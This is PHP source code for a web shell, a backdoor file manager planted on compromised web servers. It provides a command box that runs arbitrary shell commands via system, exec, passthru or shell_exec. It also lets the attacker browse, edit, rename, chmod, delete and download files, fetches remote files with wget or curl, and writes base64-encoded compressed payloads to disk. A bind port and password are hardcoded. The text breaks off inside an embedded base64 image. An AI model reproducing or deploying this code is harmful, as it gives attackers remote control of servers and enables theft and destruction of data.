if(isset($_GET["img"])){@ob_clean();$d = magicboom($_GET["y"]);$f = $_GET["img"];$inf = @getimagesize($d.$f);$ext = explode($f,".");$ext = $ext[count($ext)-1];@header("Content-type: ".$inf["mime"]);@header("Cache-control: public");@header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));@header("Cache-control: max-age=".(60*60*24*7));@readfile($d.$f);exit;} $software = getenv("SERVER_SOFTWARE");
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") $safemode = TRUE;else $safemode = FALSE;$system = @php_uname();if(strtolower(substr($system,0,3)) == "win")
$win = TRUE;else $win = FALSE;if(isset($_GET['y'])){if(@is_dir($_GET['view'])){$pwd = $_GET['view'];@chdir($pwd);} else{$pwd = $_GET['y'];@chdir($pwd);} } 
if(!$win){if(!$user = rapih(exe("whoami")))$user = "";if(!$id = rapih(exe("id"))) $id = "";$prompt = $user." \$ ";$pwd = @getcwd().DIRECTORY_SEPARATOR;} 
else {$user = @get_current_user();$id = $user;$prompt = $user." &gt;";$pwd = realpath(".")."\\";$v = explode("\\",$d);$v = $v[0];foreach (range("A","Z") as $letter) {$bool = @is_dir($letter.":\\");if ($bool){$letters .= "<a href='?y=".$letter.":\\'>[ ";if ($letter.":" != $v){$letters .= $letter;} else {$letters .= "<span class='gaya'>".$letter."</span>";} $letters .= " ]</a> ";}}} 
if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE;
else $posix = FALSE;$server_ip = @gethostbyname($_SERVER["HTTP_HOST"]);$my_ip = $_SERVER['REMOTE_ADDR'];$bindport = "13123";$bindport_pass = "k2ll33d";$pwds = explode(DIRECTORY_SEPARATOR,$pwd);$pwdurl = "";for($i = 0 ;$i < sizeof($pwds)-1 ;$i++){$pathz = "";for($j = 0 ;$j <= $i ;$j++){$pathz .= $pwds[$j].DIRECTORY_SEPARATOR;} $pwdurl .= "<a href='?y=".$pathz."'>".$pwds[$i]." ".DIRECTORY_SEPARATOR." </a>";} 
if(isset($_POST['rename'])){$old = $_POST['oldname'];$new = $_POST['newname'];@rename($pwd.$old,$pwd.$new);$file = $pwd.$new;}	if(isset($_POST['chmod'])){ 
$name = $_POST['name'];$value = $_POST['newvalue'];if (strlen($value)==3){$value = 0 . "" . $value;}@chmod($pwd.$name,octdec($value));$file = $pwd.$name;}
if(isset($_POST['chmod_folder'])){$name = $_POST['name'];$value = $_POST['newvalue'];if (strlen($value)==3){$value = 0 . "" . $value;}@chmod($pwd.$name,octdec($value));$file = $pwd.$name;} $buff = "&nbsp;".$software."<br>";$buff .= "&nbsp;".$system."<br>";if($id != "") $buff .= "&nbsp;".$id."<br>";if($safemode) $buff .= "&nbsp;safemode :&nbsp;<b><font style='color:#DD4736'>ON</font></b><br>";else $buff .= "&nbsp;safemode :&nbsp;<b><font style='color:#00FF00'>OFF</font></b><br>";
function showstat($stat) {if ($stat=="on") {return "<b><font style='color:#00FF00'>ON</font></b>";}else {return "<b><font style='color:#DD4736'>OFF</font></b>";}}
function testmysql() {if (function_exists('mysql_connect')) {return showstat("on");}else {return showstat("off");}}
function testcurl() {if (function_exists('curl_version')) {return showstat("on");}else {return showstat("off");}}
function testwget() {if (exe('wget --help')) {return showstat("on");}else {return showstat("off");}}
function testperl() {if (exe('perl -h')) {return showstat("on");}else {return showstat("off");}}
$buff .= "&nbsp;MySQL: ".testmysql()."&nbsp;|&nbsp;Perl: ".testperl()."&nbsp;|&nbsp;cURL: ".testcurl()."&nbsp;|&nbsp;WGet: ".testwget()."<br>";
$buff .= "&nbsp;".$letters."&nbsp;&gt;&nbsp;".$pwdurl;
function rapih($text){return trim(str_replace("<br>","",$text));} 
function magicboom($text){if (!get_magic_quotes_gpc()){return $text;} return stripslashes($text);} 
function showdir($pwd,$prompt){$fname = array();$dname = array();
if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) 
$posix = TRUE;else $posix = FALSE;$user = "????:????";
if($dh = opendir($pwd)){while($file = readdir($dh)){
if(is_dir($file)){$dname[] = $file;} 
elseif(is_file($file)){$fname[] = $file;}}closedir($dh);} sort($fname);sort($dname);$path = @explode(DIRECTORY_SEPARATOR,$pwd);$tree = @sizeof($path);$parent = "";
$buff = " <form action='?y=".$pwd."&amp;x=shell' method='post' style='margin:8px 0 0 0;'><table class='cmdbox' style='width:50%;'><tr><td>$prompt</td><td><input onMouseOver='this.focus();' id='cmd' class='inputz' type='text' name='cmd' style='width:400px;' value='' /><input class='inputzbut' type='submit' value='Do !' name='submitcmd' style='width:80px;' /></td></tr></form><form action='?' method='get' style='margin:8px 0 0 0;'><input type='hidden' name='y' value='".$pwd."' /><tr><td>view file/folder</td><center><td><input onMouseOver='this.focus();' id='goto' class='inputz' type='text' name='view' style='width:400px;' value='".$pwd."' /><input class='inputzbut' type='submit' value='view !' name='submitcmd' style='width:80px;' /></td></center></tr></form></table><table class='explore'> <tr><th>name</th><th style='width:80px;'>size</th><th style='width:210px;'>owner:group</th><th style='width:80px;'>perms</th><th style='width:110px;'>modified</th><th style='width:190px;'>actions</th></tr> ";
if($tree > 2) 
for($i=0;$i<$tree-2;$i++) $parent .= $path[$i].DIRECTORY_SEPARATOR;
else $parent = $pwd;
foreach($dname as $folder){
if($folder == ".") {
if(!$win && $posix){$name=@posix_getpwuid(@fileowner($folder));$group=@posix_getgrgid(@filegroup($folder));$owner = $name['name']."<span class='gaya'> : </span>".$group['name'];} 
else {$owner = $user;}
$buff .= "<tr><td><a href=\"?y=".$pwd."\">$folder</a></td><td>-</td>
<td style=\"text-align:center;\">".$owner."</td>
<td><center>".get_perms($pwd)."</center></td>
<td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($pwd))."</td><td><span id=\"titik1\">
<a href=\"?y=$pwd&amp;edit=".$pwd."newfile.php\">newfile</a> | <a href=\"javascript:tukar('titik1','titik1_form');\">newfolder</a>
</span><form action=\"?\" method=\"get\" id=\"titik1_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> 
<input type=\"hidden\" name=\"y\" value=\"".$pwd."\" /> 
<input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" /> 
<input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go\" /> 
</form></td></tr> ";} 
elseif($folder == ".."){ 
if(!$win && $posix)
{$name=@posix_getpwuid(@fileowner($folder));$group=@posix_getgrgid(@filegroup($folder));
$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];} 
else { $owner = $user; } 
$buff .= "<tr><td>
<a href=\"?y=".$parent."\">  $folder</a></td><td>-</td>
<td style=\"text-align:center;\">".$owner."</td>
<td><center>".get_perms($parent)."</center></td> <td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($parent))."</td>
<td><span id=\"titik2\"><a href=\"?y=$pwd&amp;edit=".$parent."newfile.php\">newfile</a> | <a href=\"javascript:tukar('titik2','titik2_form');\">newfolder</a></span> 
<form action=\"?\" method=\"get\" id=\"titik2_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> 
<input type=\"hidden\" name=\"y\" value=\"".$pwd."\" /> 
<input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" /> 
<input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go\" /> 
</form></td></tr>";}else{if(!$win && $posix){ 
$name=@posix_getpwuid(@fileowner($folder)); 
$group=@posix_getgrgid(@filegroup($folder)); 
$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];} 
else { $owner = $user; }
$buff .= "<tr><td><a id=\"".clearspace($folder)."_link\" href=\"?y=".$pwd.$folder.DIRECTORY_SEPARATOR."\"><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAALGPC/xhBQAAAAlwSFlzAAAOwgAADsIBFShKgAAAABp0RVh0U29mdHdhcmUAUGFpbnQuTkVUIHYzLjUuMTAw9HKhAAACkUlEQVQ4T8WT2UvUURzFz2NRT5pab9ZDYZNMLjNq6rg1Fqhl5cw8qA+2kJmBgxKUhVpW4y6FZblkaRROpkQLITKG1ERhC5JMuaVmzuQWBD3e27nN0D/QQz/48P1+7znne+/LD/jvn14XtUYXqU+O0kebY2NiLfFxBkuiIcmSnJRiMe5MtexK3W02phjNSYnJZkN8gikmeoeJGRMzRr1OvxZbQzTBZCBUE+oJD4vwcJEnNibOY4hL8HCRJzEh6U/PMzc1d/j2CPc2TaibmSFNiGYT7hT7nbyU579y4dA6WXUsQNacCJR1RYGyoThINpZs8LFe1luD/mi2/ABZedBf2vL8fnSV+JdhohZPJ+sgv16H9NyGXOyGXH4AudLLetfLSh8rZ6Upj/JOMTNRAwfGa9A3Wetb0OlbQPPSffZdXpbZ/11Aj1qgMuPVeIYxG7rGbZAzTZDzHZDfeeOindxjf5M3tkMuMLTEswVqyjNzleEqSGZ74KrEZVcFn1QPMcfN7g4IPlPMN0N8a/IyR9xthJryTDVAuM5Bus6jBaPlKB85xW0XIaYb+bxrkLNXIL5UQxJVxRRfOM0LZnmz8iivyoyWwYaRUhS8LYL4WArxuRJiooq1AuLTGR9nOZd5z5Q2Ro/yqszIaVgxbEXmy8OQbwoh3pdAvrNCvD4KMXwccriAVVFIPR/iQzGhR3lfMMOsCY4chPVb8JPIwVzI5zmQA2aI/
izO7AezOVNzZEMM5VGnR3nJL0cuInErHcH2DHTb0+DszcSrh1lwPjb7sMD5hKj5kQlOpfXRY0+HszsDPZ0Z2IjcMKyuTsXm5jRob+yBtnUftG0HSBa07QqTt7bu92ote6FtToeWmS1HdFj1zz/zb9ZqmlZ866Y6AAAAAElFTkSuQmCC' />  [ $folder ]</a> 
<form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($folder)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> 
<input type=\"hidden\" name=\"oldname\" value=\"".$folder."\" style=\"margin:0;padding:0;\" /> 
<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$folder."\" /> 
<input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" /> 
<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($folder)."_form','".clearspace($folder)."_link');\" />
</form> </td><td>DIR</td><td style=\"text-align:center;\">".$owner."</td><td><center>
<a href=\"javascript:tukar('".clearspace($folder)."_link','".clearspace($folder)."_form3');\">".get_perms($pwd.$folder)."</a>
<form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($folder)."_form3\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> 
<input type=\"hidden\" name=\"name\" value=\"".$folder."\" style=\"margin:0;padding:0;\" /> 
<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newvalue\" value=\"".substr(sprintf('%o', fileperms($pwd.$folder)), -4)."\" /> 
<input class=\"inputzbut\" type=\"submit\" name=\"chmod_folder\" value=\"chmod\" /> 
<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" 
onclick=\"tukar('".clearspace($folder)."_link','".clearspace($folder)."_form3');\" /></form></center></td><td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($folder))."</td><td><a href=\"javascript:tukar('".clearspace($folder)."_link','".clearspace($folder)."_form');\">rename</a>| <a href=\"?y=$pwd&amp;fdelete=".$pwd.$folder."\">delete</a>
</td>
</tr>";}}foreach($fname as $file){ 
$full = $pwd.$file; 
if(!$win && $posix){$name=@posix_getpwuid(@fileowner($file)); $group=@posix_getgrgid(@filegroup($file)); $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];} 
else { $owner = $user; } 
$buff .= "<tr><td><a id=\"".clearspace($file)."_link\" href=\"?y=$pwd&amp;view=$full\"><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAAadEVYdFNvZnR3YXJlAFBhaW50Lk5FVCB2My41LjEwMPRyoQAAAXVJREFUOE+NkjtPwlAYhv0DLEZJSDQawQCTcYD/YWIkzqx0cHT1D7C4nMRFSdOWi4uzm9FFXcRBI3KxQGlLoYCAILyekhiRw6UneZKmeb8n79eepaW/43e5XFGfz0csvF4v8Xi2yfrGJllecRIa2xnLMo+OcDis6kYNulEfUdEMZD/KuH1IQ7y6RiQS0eZJAolkig6U/pHJy0i/vOPm/gnlikYl3ExJMJm6hFxWGQpFhUqyKJQqyNFGHMfptMnu5A5UkBrVZqkiLyt4zcrI5It4y8nY2w9ZkrVxSdBaoVozZ6LqtVGDu8dnHB2fgA4HGYHZaGE2TRj1BoqKhlNyxgriiSRan+2FmM0WYrzACiQq6HS7C2l3uhDjiSkC+vKr17OFNE0gSnH0+9+2sLLMRxRECYPBwBaCOEXACyKGw6EteEFiGgTOYzzsnguapSsExu+B4yB0qJYUlf5rcy5WxsrSYcfkdfavOp3RLbebzMPK0EH/7/APv59j7X+gJNIAAAAASUVORK5CYII%3D' />  $file</a> 
<form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($file)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> 
<input type=\"hidden\" name=\"oldname\" value=\"".$file."\" style=\"margin:0;padding:0;\" /> 
<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$file."\" /> 
<input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" /> 
<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($file)."_link','".clearspace($file)."_form');\" />
</form></td><td>".ukuran($full)."</td><td style=\"text-align:center;\">".$owner."</td><td><center>
<a href=\"javascript:tukar('".clearspace($file)."_link','".clearspace($file)."_form2');\">".get_perms($full)."</a>
<form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($file)."_form2\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> 
<input type=\"hidden\" name=\"name\" value=\"".$file."\" style=\"margin:0;padding:0;\" /> 
<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newvalue\" value=\"".substr(sprintf('%o', fileperms($full)), -4)."\" /> 
<input class=\"inputzbut\" type=\"submit\" name=\"chmod\" value=\"chmod\" /> 
<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($file)."_link','".clearspace($file)."_form2');\" /></form></center></td>
<td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($full))."</td> 
<td><a href=\"?y=$pwd&amp;edit=$full\">edit</a> | <a href=\"javascript:tukar('".clearspace($file)."_link','".clearspace($file)."_form');\">rename</a>| <a href=\"?y=$pwd&amp;delete=$full\">delete</a> | <a href=\"?y=$pwd&amp;dl=$full\">download</a>&nbsp;(<a href=\"?y=$pwd&amp;dlgzip=$full\">gz</a>)
</td></tr>";} 
$buff .= "</table>"; return $buff;}
function ukuran($file){if($size = @filesize($file)){if($size <= 1024) return $size;else{if($size <= 1024*1024) {$size = @round($size / 1024,2);;
return "$size kb";} else {$size = @round($size / 1024 / 1024,2);return "$size mb";}}}
else return "???";} function exe($cmd){if(function_exists('system')) {@ob_start();@system($cmd);$buff = @ob_get_contents();$buff = @ob_get_contents();@ob_end_clean();
return $buff;} elseif(function_exists('exec')) {@exec($cmd,$results);$buff = "";foreach($results as $result){$buff .= $result;} return $buff;} 
elseif(function_exists('passthru')){@ob_start();@passthru($cmd);$buff = @ob_get_contents();@ob_end_clean();return $buff;} 
elseif(function_exists('shell_exec')){$buff = @shell_exec($cmd);return $buff;}} function tulis($file,$text){$textz = gzinflate(base64_decode($text));if($filez = @fopen($file,"w")) {@fputs($filez,$textz);@fclose($file);}} 
function ambil($link,$file) {if($fp = @fopen($link,"r")){while(!feof($fp)){$cont.= @fread($fp,1024);}@fclose($fp);$fp2 = @fopen($file,"w");@fwrite($fp2,$cont);@fclose($fp2);} } 
function which($pr){$path = exe("which $pr");
if(!empty($path)) {return trim($path);}
else {return trim($pr);}}
function download($cmd,$url){$namafile = basename($url);
switch($cmd){case 'wwget': exe(which('wget')." ".$url." -O ".$namafile);break;case 'wlynx': exe(which('lynx')." -source ".$url." > ".$namafile);break;case 'wfread' : ambil($wurl,$namafile);break;case 'wfetch' : exe(which('fetch')." -o ".$namafile." -p ".$url);break;case 'wlinks' : exe(which('links')." -source ".$url." > ".$namafile);break;case 'wget' : exe(which('GET')." ".$url." > ".$namafile);break;case 'wcurl' : exe(which('curl')." ".$url." -o ".$namafile);break;default: break;}
return $namafile;}function get_perms($file) {if($mode=@fileperms($file)){$perms='';$perms .= ($mode & 00400) ? 'r' : '-';$perms .= ($mode & 00200) ? 'w' : '-';$perms .= ($mode & 00100) ? 'x' : '-';$perms .= ($mode & 00040) ? 'r' : '-';$perms .= ($mode & 00020) ? 'w' : '-';$perms .= ($mode & 00010) ? 'x' : '-';$perms .= ($mode & 00004) ? 'r' : '-';$perms .= ($mode & 00002) ? 'w' : '-';$perms .= ($mode & 00001) ? 'x' : '-';
return $perms;}else return "??????????";}function clearspace($text){return str_replace(" ","_",$text);}
$tunisia = 'base64,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